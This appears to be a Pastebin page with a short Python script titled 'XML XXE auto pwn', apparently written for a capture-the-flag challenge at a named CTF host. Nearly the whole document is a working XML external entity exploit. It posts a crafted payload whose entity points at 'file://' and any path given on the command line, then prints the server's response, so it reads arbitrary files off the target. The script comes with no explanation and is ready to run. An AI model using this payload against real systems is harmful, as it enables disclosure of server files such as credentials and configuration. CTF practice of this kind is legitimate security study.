Advertisement
tacbliw

XML XXE auto pwn

Sep 1st, 2019
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.98 KB | None | 0 0
  1. import urllib.parse as urllib
  2. import requests
  3. import sys
  4. import logging
  5. import http.client
  6.  
  7. # http.client.HTTPConnection.debuglevel = 1
  8. # logging.basicConfig()
  9. # logging.getLogger().setLevel(logging.DEBUG)
  10. # requests_log = logging.getLogger("requests.packages.urllib3")
  11. # requests_log.setLevel(logging.DEBUG)
  12. # requests_log.propagate = True
  13.  
  14. url = "http://j2x2j.chal.ctf.westerns.tokyo/"
  15.  
  16. filename = sys.argv[1]
  17.  
  18. payload = """<?xml version="1.0"?>
  19. <!DOCTYPE data [
  20. <!ENTITY file SYSTEM "file://{}" >
  21. ]>
  22. <root>
  23.  <content>&file;</content>
  24. </root>
  25. """
  26.  
  27. headers = {
  28.     'Content-Type': 'application/x-www-form-urlencoded',
  29.     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36'
  30. }
  31.  
  32. data = {
  33.     'xml': payload.format(filename)
  34. }
  35.  
  36. r = requests.post(url, data=data, headers=headers)
  37.  
  38. if r.text != "failed to decode xml":
  39.     print(r.json()['content'])
  40. else:
  41.     print("failed to decode xml")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement